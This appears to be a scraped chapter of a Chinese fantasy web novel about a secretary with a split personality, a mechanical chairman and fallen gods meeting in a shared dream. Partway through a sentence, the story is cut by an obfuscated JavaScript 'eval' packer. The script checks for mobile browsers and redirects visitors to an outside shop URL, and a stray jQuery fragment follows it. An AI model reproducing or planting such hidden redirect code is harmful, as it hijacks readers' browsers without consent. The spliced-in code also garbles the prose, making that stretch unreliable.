唐泰是一家大公司的秘书,今天是他上班的第一天。
虽然早晨的阳光透过窗户洒在他的办公桌上,带来一丝温暖,但他的心情却如同窗外的天气一般,时而晴朗,时而阴郁。
他坐在自己的位置上,手指轻轻敲打着桌面,眼神时而落在堆积如山的文件上,时而望向窗外,心中五味杂陈。
上午的时间在忙碌中悄然流逝,唐泰在朋友们的帮助下,逐渐熟悉了公司的日常运作和秘书的工作职责。
他小心翼翼地处理着每一份文件,生怕出错。
每当他完成一项任务,都会感到一丝成就感,但很快又被下一个任务的紧迫感所取代。
午餐时间,他选择了在公司附近的餐厅用餐。
独自一人坐在餐桌旁,他静静地品尝着食物,思绪却飘向了远方。
他思考着自己未来的职业规划,想象着在这个岗位上能够取得的成就,以及可能面临的挑战。
午餐结束后,他回到公司,继续投入到工作中。
下午的工作更加繁重,他不仅要处理日常的文件和会议安排,还要协助上司处理一些突发事件。
面对这些挑战,唐泰没有退缩,而是迎难而上。
他凭借着自己的聪明才智和勤奋努力,成功地解决了许多棘手的问题。
然而,随着夜幕的降临,他的心情再次变得沉重起来。
他意识到,虽然自己今天表现得不错,但距离成为一名优秀的秘书还有很长的路要走。
他明白,要想在这个岗位上站稳脚跟,不仅需要扎实的专业魔法,还需要良好的沟通能力和人际交往能力。
唐泰的心情逐渐平静下来。
他回想着自己今天的表现,以及朋友们对他的评价和鼓励。
他意识到,自己并不孤单,在这个陌生的环境中,他有一群值得信赖的朋友。
他们愿意帮助他成长,愿意与他共同面对未来的挑战。
唐泰坐在书桌前,打开了笔记本。
他开始规划自己的未来,制定详细的初始之灵召唤计划。
他深知,只有不断地学习和进步,才能在这个竞争激烈的人间中立于不败之地。
他相信,只要自己足够努力,就一定能够实现自己的梦想。
他幻想着自己未来的样子,那个在战场上游刃有余、自信满满的自己。
他知道,这只是一个开始,未来的路还很长,但他已经做好了准备,迎接每一个挑战和机遇。
“唐泰,快醒醒,下班了。”
唐泰睁开眼睛,他看到了董事长正站在自己的旁边,他立马就站了起来,他不知道自己什么时候睡着了。
“这一觉睡得还好吗?”
“还行吧。”
唐泰也不知道该怎么回答,今天可是他第一天工作,就被老板抓到了。
“是吗?做了什么好梦吗?你可是睡了一下午。公司现在只剩下你和我了。”
被董事长这样一说,唐泰这才反应过来,同事们都回去了。
夜幕降临,外面繁华的城市夜景是他从没见过的。
“好了,走吧。”
唐泰听到老板要开除自己,他想都没想就跪下认错。
“董事长,您别开除我,我可以加班把今天的工作都补上的。”
“别行这么大的礼,我可受不起,只要你和我说一下你做了什么梦,我就不炒你鱿鱼。”
唐泰叹了口气,反正他已经知道结果了。
“我梦到我会努力工作,然后升职加薪。”
董事长把唐泰扶了起来,他在笑,不过更像是在嘲笑唐泰。
“努力工作就能升职加薪吗?你还不如来逗我开心呢,这样快一点。”
唐泰听不懂对方的话,他只想回家。
“好了,我知道了,明天我不会出现在您面前的。”
唐泰转过身就准备离开了,但是董事长却拉住了他的手。
“我也没说要开了你呀,别那么认真嘛,还记得我吗?我是斯维特。”
“我知道啊,Candy公司的董事长斯维特,入职的时候,领导和我说过了。”
斯维特有点不知道该说什么了。
“不是那个,在更久以前我们见过的。”
唐泰想了一下,他露出了如梦初醒的表请,斯维特很高兴,他终于想起来了。
“我还是想不起来。 ”
斯维特被唐泰搞糊涂了,按道理来说现在唐泰应该恢复记忆了才对。
没办法的斯维特把唐泰拉到了车上,唐泰都不知道他们要去哪里?
“你要带我到哪里去呀?我要回家。”
“我要去酒吧买醉。回什么家?你还在做梦。”
唐泰捏了一下自己,感觉好痛。
“做梦?为什么我还没有醒来?”
“别吵,我在思考。”
斯维特想了很久,他不明白唐泰为什么就是想不起来。
“难道他又精神分裂了吗?……哦,原来如此。”
唐泰的白天和夜晚人格是不会共享记忆的。
而现在的唐泰还在睡觉,白天人格是不工作的。
也就意味着斯维特现在见到的是夜晚人格。
想明白的斯维特突然踩下油门,他直接把车开到了人行横道上,撞死了很多人。
“为了让你相信我们真的在做梦,我只能这么做了。”
唐泰被斯维特这疯狂的举动吓傻了,他不知道斯维特接下来会干什么?
“你说是就是吧。”
斯维特和唐泰下了车,他们看着满地的狼藉,不忍直视的唐泰捂住了双眼。
“我知道你很有钱,但这样真的没问题吗?”
“假的我才敢这么做,真的我也不敢呀。”
唐泰要过马路,但是突然斯维特拉住了他,原来是一辆大卡车刚刚驶过。
“你不是说我们在做梦吗?为什么还怕我被卡车撞死?”
“因为这是一个特殊的梦境。”
斯维特为唐泰讲述了这个梦境的来历。
这个梦是一种同源梦境,是由十二位初始之灵的魂魄凝聚而成的,因为大部分初始之灵已经离世,他们只能通过这种方式才能传递一些信息。
只要和其中一位初始之灵有着亲密的关系,并且使用的魔法来自同一个源泉,他们的梦就会拼凑在一起。
但这个梦的力量过于强大,以至于梦境和现实是一比一复刻的,也就意味着在梦境中能做的事必须是现实中也能做到的。
比如斯维特不擅长飞行,所以他只能开车。
还有一点就是梦中的人受重伤,一般是不会死的。
比如唐泰被车撞了不会死,但会很痛。
不过斯维特也不能完全确定在梦中死去会不会影响到现实,因此尽量还是不要干那些危险的事情。
“话是这么说,但是那些车祸中的人们真的不会来找你算账吗?”
“当然不会了,他们都是虚拟人物,是梦境中的NPC,不信的话我给你示范一下吧。”
斯维特看到了前面有一个人正背对着他们打电话,看样子是在报警。
斯维特走到他身后,上去就给了他一拳。
但那个人却躲开了,作为回礼,那个人还丢出了一枚水晶飞镖,但斯维特同样也闪开了。
两人此时看清了对方的真容。
“极!原来你在这里。”
“斯维特?我还有事就先走了。”
斯维特刚想抓住对方,他一眨眼就消失了。
“早知道我就应该多练练瞬移的,我还想让他帮我找到熵增呢,也不知道我的诅咒什么时候才能解除。”
少主逃到了斯维特找不到的地方,他终于想明白了一切。
“没想到斯维特那个家伙也进入了这个梦境,难道是熵增把他带进来的吗?”
少主回忆起了他刚意识到自己在做梦的时候,他在潘神公寓的前身,虽然周围是熟悉的环境,但身边却没有一个认识的人。
少主在梦中寻找了很久,可始终都找不到他要找的人。
“真可恶!如果这真的是同源梦境的话,为什么我找不到唐泰和熵增的身影呢?”
没有办法的少主只能用一种特殊的魔法把同样在这个梦境的熟人召唤到他的身边。
随着少主念动咒语,两个人影出现在他的面前。
“朱岳,还有老K?牵茂和宫丸死到哪里去了?”
朱岳一脸淡定的回答着,然后惊讶的看着老K。
“牵茂和宫丸应该被他们的主人留在梦境里了吧?但是我很好奇,老K你是怎么进来的?”
“是啊,老K作为一介凡人,怎么会出现在这里呢?”
“是幻棘大人强行把我召唤出来的,因为他找不到厄瑞尔,他现在很着急,我要先走了。”
老K刚把话说完,他就消失了。
“幻棘和厄瑞尔?看来是绯末干的,不过他能在带走厄瑞尔的同时屏蔽掉幻棘的梦境,也算他有本事了。”
朱岳已经很久没有看到绯末了,过了那么多年,他还是一点都没变。
少主此时的心情相当复杂,一方面他很高兴幻棘大人主动和老K联系了,完成平凡女神的任务后,接下来就要完成召唤终结之神的任务。
另一方面,少主现在的情况和幻棘几乎一致,他没有见到任何跟自己有关的人,他怀疑是熵增大人用了同样的招数,把自己隔离了。
“难道熵增大人的警觉心这么强吗?还是说当年的计划他早就知道了?”
朱岳认为少主是在杞人忧天,熵增不可能那么聪明的。
他环顾四周,顿时才明白到底出了什么问题。
“这个实验是多么令人怀念,我就在这里制造出了人造人唐泰,不过那只是个意外,本来是想召唤熵增的。”
朱岳摸着实验台上躺着的半成品,他在想可能唐泰人造人的身份让他无法在这个梦境里自由行动。
听到朱岳的提醒,少主希望朱岳留下来帮他把人造人完成。
“你在原来的梦境忙不忙?因为我只能把你的意识强行拉过,如果那边有人找到你的话,你就会回去的。”
“没关系,反正这个时候坤伊大人和俊戟还在传奇学院瞎逛呢,现在还轮不到我登场。”
有朱岳在,少主相信人造人很快就会苏醒,只不过他总感觉有哪里不对劲,他离开了大楼,这种感觉感觉更明显了。
少主走着走着来到了Candy公司的大门口,而这时那种感好像又消失了。
他望着那幢办公楼,现在是下班时间,大楼里的人都快走光了,他想了一下,既然奇怪的感觉消失了,那还是回去吧,朱岳的人造人应该快完成了吧。
在回去的途中,有一辆车子似乎失控了,直接冲进了人群里,还差点撞到了少主。
少主本来想给对方一个教训的,但有一个瞬间,他似乎看到了唐泰,他马上就给朱岳打电话。
之后少主就和斯维特,还有唐泰正式见面了。
少主正要走进大楼的时候,实验室的那一层突然发生了爆炸。
这恐怖的声音,让少主想起了多年前的一件事。
当年朱岳博士还在实验室研究如何让熵增大人降临于人世,这项研究如同在神界与人间的边境上舞蹈,每一步都充满了未知与挑战。
他的实验室,灯火通明,空气中弥漫着一种难以言喻的紧张与期待。
在一张巨大的工作台上,躺着一个半成品的人造人,他的身体由先进的生物材料构成,肌肤呈现出一种接近真人的温润光泽,但双眼紧闭,仿佛在等待一个唤醒的契机。
朱岳戴着护目镜,手持精密的工具,小心翼翼地调整着人造人的内部构造。
他的眼神中既有神明的严谨,又带着一丝人类对未知的敬畏。
他深知,这个人造人不仅是组织科研成果的结晶,更是神明探索人类、超越界限的一次勇敢尝试。
随着研究的深入,朱岳遇到了前所未有的难题。
如何让这个人造人拥有真正的意识,能够像人类一样思考、感受?
他翻阅了无数的文献,尝试了无数种方法,但始终未能找到那个关键的突破点。
每当夜深人静,朱岳总会独自站在人造人面前,凝视着它,仿佛在与之进行一场无声的对话。
终于,在那个朗星布空的夜晚,朱岳的坚持与努力得到了回报。
他成功地将一段复杂的神经网络植入人造人的大脑中,这段网络模拟了人类大脑的思维过程,为人造人提供了初步的自我意识。
当电流通过神经网络,人造人的双眼猛地睁开,眼中闪烁着好奇与迷茫交织的光芒。
那一刻,朱岳的心跳仿佛停止了。
他颤抖着伸出手,轻轻触碰人造人的脸颊,感受到了一种前所未有的温暖与真实。
人造人缓缓转头,与朱岳的目光相遇,那一刻,他们仿佛建立了一种超越言语的联系。
但是下一秒,人造人的眼中冒出了火光,朱岳有一种不祥的预感,他用瞬移装置将自己传送到了外面。
砰的一声,那个人造人发生了剧烈的爆炸。
实验室的爆炸引发了火灾,吞噬了整栋大楼,火舌疯狂地舔舐着每一寸空间,将夜的寂静撕扯得支离破碎。
烈焰之中,实验室的玻璃窗仿佛脆弱的薄膜,一触即碎,碎片伴随着炽热的空气飞舞,如同绝望中的悲鸣。
浓烟滚滚,遮天蔽日,空气中弥漫着刺鼻的焦糊味,让人窒息。
消防车的警笛声由远及近,划破长空,仿佛是在黑暗中寻找光明的使者。
消防员们迅速下车,他们的身影在火光中若隐若现,犹如无畏的勇士,冲向火海。水龙带如同愤怒的巨龙,喷射出强劲的水柱,试图扑灭这肆虐的火焰。
然而,火势之猛,超乎想象,消防员们的努力似乎只是杯水车薪。
在火海的另一边,人们惊慌失措地逃离,他们的脸上写满了恐惧与无助。
尖叫声、哭泣声、呼喊声交织在一起,构成了一幅人间炼狱的图景。
在这混乱之中,有人试图拨打急救电话,却发现信号早已被中断。
通讯的瘫痪,让这场灾难变得更加孤立无援。
大楼内部,实验设备在高温下扭曲变形,发出刺耳的金属摩擦声。
那些曾经承载着科学家们无尽梦想的仪器,如今却成了灾难的帮凶。
一些研究人员被困在火海中,他们绝望地寻找着出口,但无情的火焰和浓烟却将他们一次次逼回。
与此同时,警方和救援队伍也在迅速行动。
他们设立了警戒线,疏散围观群众,并尝试与大楼内部的人员取得联系。
然而,由于火势过大,救援行动进展缓慢。
时间在这一刻变得异常宝贵,每一秒的流逝都可能意味着生命的消逝。
在灾难的阴影下,人性的光辉却也在悄然绽放。
一些勇敢的市民自发组织起来,他们拿着湿毛巾和灭火器,试图帮助那些被困在附近的人们。
尽管他们的力量微不足道,但这份团结与互助的精神却让人感到温暖与希望。
随着夜幕的降临,火势逐渐得到了控制。
但大楼早已面目全非,成为了一片废墟。
这场突如其来的灾难,不仅夺走了无数宝贵的生命,更给这座城市留下了难以磨灭的伤痕。
火灾之后,朱岳趁着混乱马上回到了实验室,他惊奇的发现,那个人造人竟然一点事都没有。
他把人造人带回了组织,把它放到了培养液中继续研究,他知道这个人造人是组织唯的希望。
过了好几年,就连潘神公寓都建好了,人们似乎早就遗忘了那次的火灾,但人造人还是没醒。
一天朱岳半夜起来上厕所的时候,突然发现实验室的门被碰了,上面还有营养液。
朱悦打开门发现那个人造人在玩电脑,他不知道该怎么打开那个东西,只能把电脑举在手中当球玩。
“你在干什么呢?”
“你是谁?”
“我是朱岳博士。”
“博士?那我也是博士。”
“你是什么博士呢?你叫什么名字?”
“唐……泰……”
唐泰还没把话说完,他就晕过去了。
之后朱岳发现他的大脑容量极小,而且患上了精神分裂症,过不了多久,他就会因为精神失常而自尽的。
没有办法朱岳只能在他的大脑中放入洗脑芯片来控制他的人格切换,等他习惯了双重人格的生活再把芯片拿掉。
可惜计划赶不上变化,唐泰很快就被送到小岛上去了,朱岳本以为把芯片休眠就没事了,谁知道后来芯片又被激活了。
少主正站在大楼下思考着,他已经感受不到朱岳的力量了。
这时斯维特和唐泰下了车,他们听到爆炸声也第一时间赶了过来。
随着三人互相对视,第二次爆炸摧毁了整个城市。
当唐泰再次醒来的时候,他发现自己处于一个宽敞的地方。
这个时候斯维特也走了过来,他只穿了一件披风,把肉身全部暴露在了唐泰面前。
那是一具十分先进的机械体,透过外面的透明躯壳,里面的齿轮正井然有序的转动着。
唐泰望着那颗怦怦直跳的机械心脏,不由自主的就想上前触摸,他极力的想控制自己的行动。
可转眼间,便来到了斯维特的面前,他把耳朵贴在斯维特的胸口,闭上眼睛享受着那动人的节奏感。
当他反应过来的时候,他才意识到自己干了什么。
“啊对不起,我不是故意的。”
斯维特没有说话,他只是用手搭着唐泰的肩膀,然后把他带到了赋神站王宫旁边的甜品店,那是斯维特过去最爱去的地方。
斯维特向唐泰讲述了他的过去。
在远古时期,初始之灵在神侍的带领下来到了这颗星球,其中进化之神熵增特别希望人类可以拥有更多力量。
他在其他神明的协助下改造了一部分人类,也就是现在的亚人种,分别有:裕贞,骇盟,岸悦,窈窕仙和赋神站。
裕贞可以自由控制走火入魔的形态。
骇盟有动物的特征,并且拥有动物的优点。
岸悦是一种特别的灵魂体,他们很轻,而且没有颜色。
窈窕仙是精灵,他们有强大的非战斗天赋,还会窈窕。
赋神站是机械生命体,他们有着更长的寿命。
今天是斯维特出生的那一天,他是第二位赋神站的首领,他的心脏是由熵增大人亲手安装上去的。
那颗心脏就像永动机一样将斯维特的生命从远古带到了现在,当然还有更遥远的未来。
“可是为什么你之前的身体和现在的不一样?”
“因为我之后又重新改造了自己,为了变得更像人类。”
“原来是这样,所以你和我有什么特殊关系吗?”
“没有,我是神造人,你是人造人,但是我严重怀疑我们的创造者是同一个。”
突然斯维特的心脏发光了,他又变回了人类的样子,而唐泰的眼中也出现了火焰,在熊熊烈火中,唐泰看到了熵增所在的地方。
“我已经很久没有那么舒服过了,极。”
“是吗?那就在这里好好享受吧,熵增大人。”
少主刚醒过来的时候,熵增就躺在他的身边睡觉,但是少主很奇怪,为什么他毫无防备呢?
“大人该起床了。”
“不是你说让我放松的吗?”
“是吗?”
少主并没有这段记忆,但熵增却记得。
“你不是说要让我体验一天人类的生活吗?难道他们一天到晚都在睡觉吗?”
少主看到了桌子上的火罐,上面还闪烁着自己的专属魔纹,他明白自己要干什么了。
“那大人要不要拔个火罐?”
“随便,反正是你带我出来的。”
……
少主拿起了那些火罐,里面满是末日龙纹的负面力量,这就是制作淫纹的原材料。
“难道狂兽大人的淫纹是我当年从熵增大人那里拿过来的吗?”
“极,你过来,我要送你一样东西。”
熵增想把末日龙纹的部分力量交给极保管,但斯维特和唐泰的突然闯入,让这层梦境瞬间粉碎了。
当四人再次醒来时,他们发现自己已经来到了一座破旧的古宅前,这个宅邸散发着令人毛骨悚然的氛围。
唐泰吓得躲到了熵增的后面,他感觉这个地方很熟悉,但却怎么都想不起来自己在什么时候来过这里。
“总感觉里面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749927|207959||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有一种不属于我们的力量,那种力量像是天生就能约束我们一样。”
面对唐泰口中的喃喃自语,斯维特明白了一些事情,他知道那股力量的主人,所以自己早已在解开诅咒的路上了,看来朱岳并没有骗自己。
“这个地方是我所熟悉的蓝氏古宅吗?为什么我总感觉这里弥漫着不属于这个时代的魔力?”
虽然极也知道蓝氏家族的事情,但为了不暴露自己的真实身份,只能将矛头我全部对准斯维特。
“抱歉,只好先委屈一下你了,斯维特。”
极准备拿出烛台指向斯维特,他想让斯维特把知道的一切全部吐露出来。
但突然一个黑乎乎的东西朝熵增飞去,少主及时反映过来丢出飞镖将暗器弹开,随后又朝那如同深渊般的大门内掷出两枚飞镖,但宅子里却一点声音也没发出。
少主感到有些不妙,如果飞镖什么都没打到,他们一定会飞回来的,很显然对方一定是悄无声息的接了下来,他的战斗经验一定不在自己之下。
“斯维特,你最好向我们解释清楚,要不然我就把你……”
还没等少主把话说完,熵曾就拦住了少主。
“极,我相信他不会隐瞒什么事的。”
其实斯维特一直都很怕面对极和熵增,因为自己曾经做过对不起他们的事情。
但他怎么都没想到他们并没有主动和他提那件事,他心中的复杂情感,让他一时间哑口无言。
“难道他们不记得当年的事情了吗?还是说在考验我们?不管怎么样,我都必须为我当年犯过的错负责。”
斯维特向他们说明了他所知道的一切。
这里是蓝氏家族从远古时期就遗留下来的宅邸,而蓝氏家族是龙纹的守护家族,他们世世代代都在继承着熵增大人的意志。
“只不过我真的不明白这个梦境的蓝氏古宅为什么会变得这么阴森,就像荒废了很久一样。”
熵增很好奇为什么蓝氏家族血拥有龙纹。
“极,我记得神界大战之前,我曾经赐予过你我的部分力量,所以……”
“嗯……是我交给他们的。”
少主完全没有这部分记忆,不过现在无论真相如何,也只能这样回答了。
“神界大战后,神界元气大伤,将神力交给人类保管也是个不错的选择。”
“对,我当时也是这么想的。”
少主无奈的点了点头,他根本不知道自己是不是真的创造了蓝氏家族。
在他们交谈之际,斯维特默默的看着熵增,他不知道熵增会不会原谅自己,他已经被诅咒困扰多年了。
“怎么了斯维特,为什么一直看着我?难道是因为诅咒吗?”
“当年是我一时冲动,才会做出那种事情的。我在这漫长的岁月中吃尽了苦头,现在我只希望您能饶恕我。”
斯维特在说话间想向熵增下跪,但熵增并没有允许斯维特那么做。
“过了这么多年,事情已经过去了,那个诅咒也是我一怒之下施加的。”
熵增告诉斯维特,自己可以解开诅咒,但灵体的能量不够,斯维特必须帮助熵增重塑肉身才行。
其实诅咒本身就是为了协助召唤熵增才设下的。
这时,门口突然站着一个黑影,唐泰吓得说不了话,他用手指了一下大门。
斯维特和少主立刻反应过来,他们看到了黑影消失前的残像,就马上追了过去。
极的速度比较快,一眨眼的功夫,他就来到了古宅的后院,那里满是墓碑和骸骨。
“我是神,是不怕鬼的,若不是鬼魂,我就好好陪你玩玩,若你是鬼魂,就别怪我下手太狠。”
那个黑影缓缓的从墓园中走了出来,虽然很慢,但很明显他在走路,而不是在飘。
少主觉得他还挺识相的,就招了招手示意他过来。
“走近一点,让我看清你的真面目。”
但令少主震惊的是那就是一个黑影,嘴里还说着少主听不清的话,就像被屏蔽了一样。
少主不明白为什么会这样,难道是自己遗漏了什么重要的信息吗?
一开始他们所处的梦境是关于唐泰的诞生。
然后他们来到了斯维特被熵增创造的那一天。
最后来到了这里,可是对这里最了解的斯维特也有很多不明白的地方。
突然少主才反应过来,斯维特是被强行拉入这个梦境的。
因为同源梦境主要是为神明服务的,所以要把像斯维特和老K这样的人类拉入梦境中,就必须提供相应的代价。
显然熵增的魔力已经虚弱到无法维持象征进化之力的梦境了。
“怪不得刚才斯维特和唐泰闯进来,梦境会突然粉碎呢。”
他们现在所处的是同源梦境的灰色地带,不属于任何一位初始之灵,所以才会出现这种情况。
少主认为站在自己面前的就是这个梦境的主人,他一定是蓝氏家族的人,但到底是哪一位呢?
少主回忆了一下刚才所发生的事情。
“结合之前的表现,这个黑影只可能是他。”
少主准备释放自己的神力,让这里暂时变成同源梦境,这样就可以证实自己的猜测了。
可惜这时斯维特走了过来,打断了少主,黑影看到斯维特也躲了回去。
“斯维特,你和我有仇是吗?为什么总是坏我的好事?”
斯维特被少主的反应吓到,他以为少主已经不生他的气了。
“我也觉得我们之间的仇也该了结了。”
少主一脸不可置信地望着斯维特,他根本不知道斯维特的脑子里在想什么,如果他知道了真相的话,就不能让他活着离开这个梦境。
少主已经盯着斯维特的咽喉准备蓄势待发了。
“对不起,请您不要再生我的气了,神侍大人。”
少主松了口气,他的大脑在飞速运转,又要处理前世的问题了。
“我们之间的恩怨是该好好谈谈,但是如果你不能一五一十的将事情详细说明的话,我又何必揭开我的伤疤呢?”
原来斯维特当年在神界大战时,趁着熵增虚弱的时候,当着少主的面将熵增撕成了两半。
随后斯维特被熵增用最后的力量封印了,封印失效后,斯维特背负着诅咒,开始了召唤熵增的旅途。
“我总算知道你为什么可以从远古活到现在了。”
少主的心中默默念叨着,他顿时想到了一个绝妙的主意。
“谢谢你让我想起了尘封的往事,但是你的背叛永远烙印在我的心中。”
少主告诉斯维特,神明给了他神力,给了他地位,结果他是怎么回报神明的呢?
还有蓝氏家族,他们还记得当初是谁赐予他们的神力吗?
“一群忘恩负义的家伙,远古时期的人间在神明的管理下多么美好,却被那场神界大战毁了,而现在的人类,还会记得那场大战吗?还会去感谢我们过去做出的一切吗?”
斯维特低下了头,他知道极是不会原谅自己的,他只希望极不要迁怒到全人类,他们是无辜的。
“无辜?等我收回了所有的神力后,再和我说无辜吧。”
少主准备杀了斯维特灭口,但是那个黑影却闯了出来,挡住了少主的攻击。
对方打的你来我往,难分伯仲,而斯维特只能呆呆的看着,他根本不知道自己要帮谁。
那个黑影渐渐开始乏力,因为他在做梦,精神状态是绝对比不过意识清醒的少主的。
没过几回合,黑影就被打得节节败退。
就在少主要致黑影于死地的时候,斯维特拉住了黑影的手,他们在少主的眼皮下离开了梦境。
“该死,让他们逃掉了,等等,为什么我还没有醒?难道……”
少主这才意识到梦境之主另有其人,恐怕自己被耍了。
另一边,唐泰不知道该和熵增说些什么,从一开始自己就被别人牵着跑头,都快晕了。
熵增注意到了唐泰身上的问题,于是询问唐泰是否需要自己的帮助。
唐泰的回答是肯定的,即便他并不清楚这样做的原因。
熵增决定将自己仅剩的神力全部输送给唐泰,这样才能确保唐泰在今后的日子里不会被精神分裂困扰。
神力涌入唐泰身体时,周围的环境也发生了变化,从原本的冷风瑟瑟变成了阳光明媚的天气。
就连那原本破旧的古宅,也在神力余波的影响下,逐渐开始自我修复。
可是这力量也被不怀好意之人盯上了,那个家伙躲在暗处伺机窥探着那珍贵的神力,正在变得越来越少,他不能再犹豫不决,没有多少神力了。
他要将剩下的神力全都抢到手,他认为这本来就应该是他的力量。
就在输送仪式即将完成时,一团黑雾袭来,包裹住了他们两个,熵增感觉不太妙,但就快完成了。
熵增加大功率想在黑雾掠夺力量之前将神力全部交给唐泰,但时间恐怕来不及。
熵增的力量所剩无几,他已经没有能力去反抗了,幸运的是少主的飞镖阵将黑雾打散。
“你是什么人?我可没有我的主人那么好说话,你最好想清楚。”
“没想到熵增还有今天,能看到他现在的样子,我就很满意了。”
黑雾说完就不见了踪影,而此时梦境开始坍塌了,少主用神力进行了加固,这样可以持续一段时间。
遗憾的是,由于黑雾的干扰,神力有所损耗,唐泰的精神分裂并没有完全治好。
他依旧有着两个人格,但今后就不会因为用脑过度而精神分裂了,而且他可以自由切换两个人格。
熵增还提醒唐泰,如果要召唤自己,就必须找到熵增真正的肉身,他现在依旧在人间徘徊。
熵增的力量来自混乱的程度,而生命又是熵逆的产物,如果没有那具象征绝对熵逆的肉身,那么就算强行将熵增召唤出来,也无法使用神力,并且肉身会快速死亡,随后腐烂。
“极,你必须用心去找,因为你引以为傲的直觉,神力会指引你的。”
说完熵增便消失在了他们面前。
“唐泰,他和你说过该怎么去检验肉身吗?”
少主一回头就发现唐泰已经不见了,他自己也快醒了,但少主并不会保存在梦中的记忆。
就在他着急的时候,他的眼前一片光明,终于醒了吗?